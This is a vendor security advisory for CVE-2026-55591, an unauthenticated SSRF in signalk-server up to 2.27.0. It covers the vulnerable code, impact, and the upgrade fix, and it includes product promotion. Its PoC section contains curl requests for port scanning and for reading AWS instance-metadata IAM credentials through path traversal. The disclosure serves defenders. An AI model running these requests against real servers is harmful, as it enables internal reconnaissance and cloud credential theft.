CVE-2026-55591

CVE-2026-55591 is a medium-severity server-side request forgery (SSRF) vulnerability in signalk-server (npm), affecting versions <= 2.27.0. It is fixed in 2.28.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints

signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.

When security is not configured (the default state), these endpoints require no authentication.

Details

Vulnerable Function

The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:

function makeRemoteRequest(
  host: string,
  port: number,
  useTLS: boolean,
  selfsignedcert: boolean,
  path: string,
  method?: string,
  headers?: Record<string, string>,
  body?: unknown
): Promise<{ status: number | undefined; data: string }> {
  const protocol = useTLS ? https : http
  return new Promise((resolve, reject) => {
    const options = {
      hostname: host,         // NO VALIDATION - attacker controlled
      port,                   // NO VALIDATION - attacker controlled
      path,
      method: method || 'GET',
      headers: {
        ...(headers || {}),
        ...(body ? { 'Content-Type': 'application/json' } : {})
      },
      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification
    }
    const req = protocol.request(options, (response) => {
      let data = ''
      response.on('data', (chunk: string) => {
        data += chunk
      })
      response.on('end', () => {
        resolve({ status: response.statusCode, data })
      })
    })
    req.on('error', reject)
    req.setTimeout(10000, () => {
      req.destroy(new Error('Connection timed out'))
    })
    if (body) {
      req.write(JSON.stringify(body))
    }
    req.end()
  })
}

Missing Validation

The function performs zero validation on the destination host. The following address ranges are all reachable:

  • Loopback: 127.0.0.1, ::1, localhost
  • RFC 1918 private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Link-local / Cloud metadata: 169.254.169.254 (AWS EC2 instance metadata, GCP, Azure IMDS)
  • IPv6 link-local: fe80::/10
  • Any arbitrary external host: enabling the server as an open proxy

Authentication Bypass via Default Configuration

The endpoints are protected by addAdminMiddleware() (lines 2339-2345):

app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)

However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:

addAdminMiddleware: () => {},

This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.

Additional Attack Surface: TLS Verification Bypass

The selfsignedcert parameter directly controls rejectUnauthorized:

rejectUnauthorized: !selfsignedcert

When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.

Additional Attack Surface: Path Traversal in checkAccessRequest

The checkAccessRequest endpoint interpolates requestId directly into the URL path:

`/signalk/v1/requests/${requestId}`

An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.

PoC

Target Setup

Set up a bare-metal signalk-server for testing (or use Docker to simulate):

docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
  bash -c 'npm install -g [email protected] && signalk-server'

# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done

Set the target variable:

TARGET=http://127.0.0.1:3000

Confirm "authenticationRequired":false in the loginStatus response before proceeding.

PoC 1: Loopback Connection (Self-Discovery)

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'

Response (confirms SSRF, the server connected to itself):

{
  "success": true,
  "authenticated": false,
  "server": {
    "id": "signalk-server-node",
    "version": "2.27.0"
  }
}

PoC 2: Port Scanning via Error Differentiation

# Open port (3000), returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}

# Closed port (9999), immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}

# Filtered port, 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}

The three distinct error responses allow an attacker to map internal network topology.

PoC 3: AWS Instance Metadata Service (IMDSv1)

On a cloud-hosted signalk-server (AWS EC2):

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'

The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:

curl -s -X POST $TARGET/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'

Impact

  1. Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).

  2. Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at 169.254.169.254 to steal IAM credentials, instance identity tokens, and other sensitive metadata.

  3. Internal Service Data Exfiltration: The testSignalKConnection endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.

  4. Server-Side POST Requests: The requestAccess endpoint sends a POST request with attacker-controlled JSON body (clientId, description), enabling interaction with internal APIs that accept POST requests.

  5. Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-55591 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.28.0); upgrading removes the vulnerable code path.

Affected versions

signalk-server (<= 2.27.0)

Security releases

signalk-server → 2.28.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade signalk-server to 2.28.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55591? CVE-2026-55591 is a medium-severity server-side request forgery (SSRF) vulnerability in signalk-server (npm), affecting versions <= 2.27.0. It is fixed in 2.28.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-55591? CVE-2026-55591 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of signalk-server are affected by CVE-2026-55591? signalk-server (npm) versions <= 2.27.0 is affected.
  4. Is there a fix for CVE-2026-55591? Yes. CVE-2026-55591 is fixed in 2.28.0. Upgrade to this version or later.
  5. Is CVE-2026-55591 exploitable, and should I be worried? Whether CVE-2026-55591 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55591 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55591? Upgrade signalk-server to 2.28.0 or later.

Other vulnerabilities in signalk-server

Stop the waste.
Protect your environment with Kodem.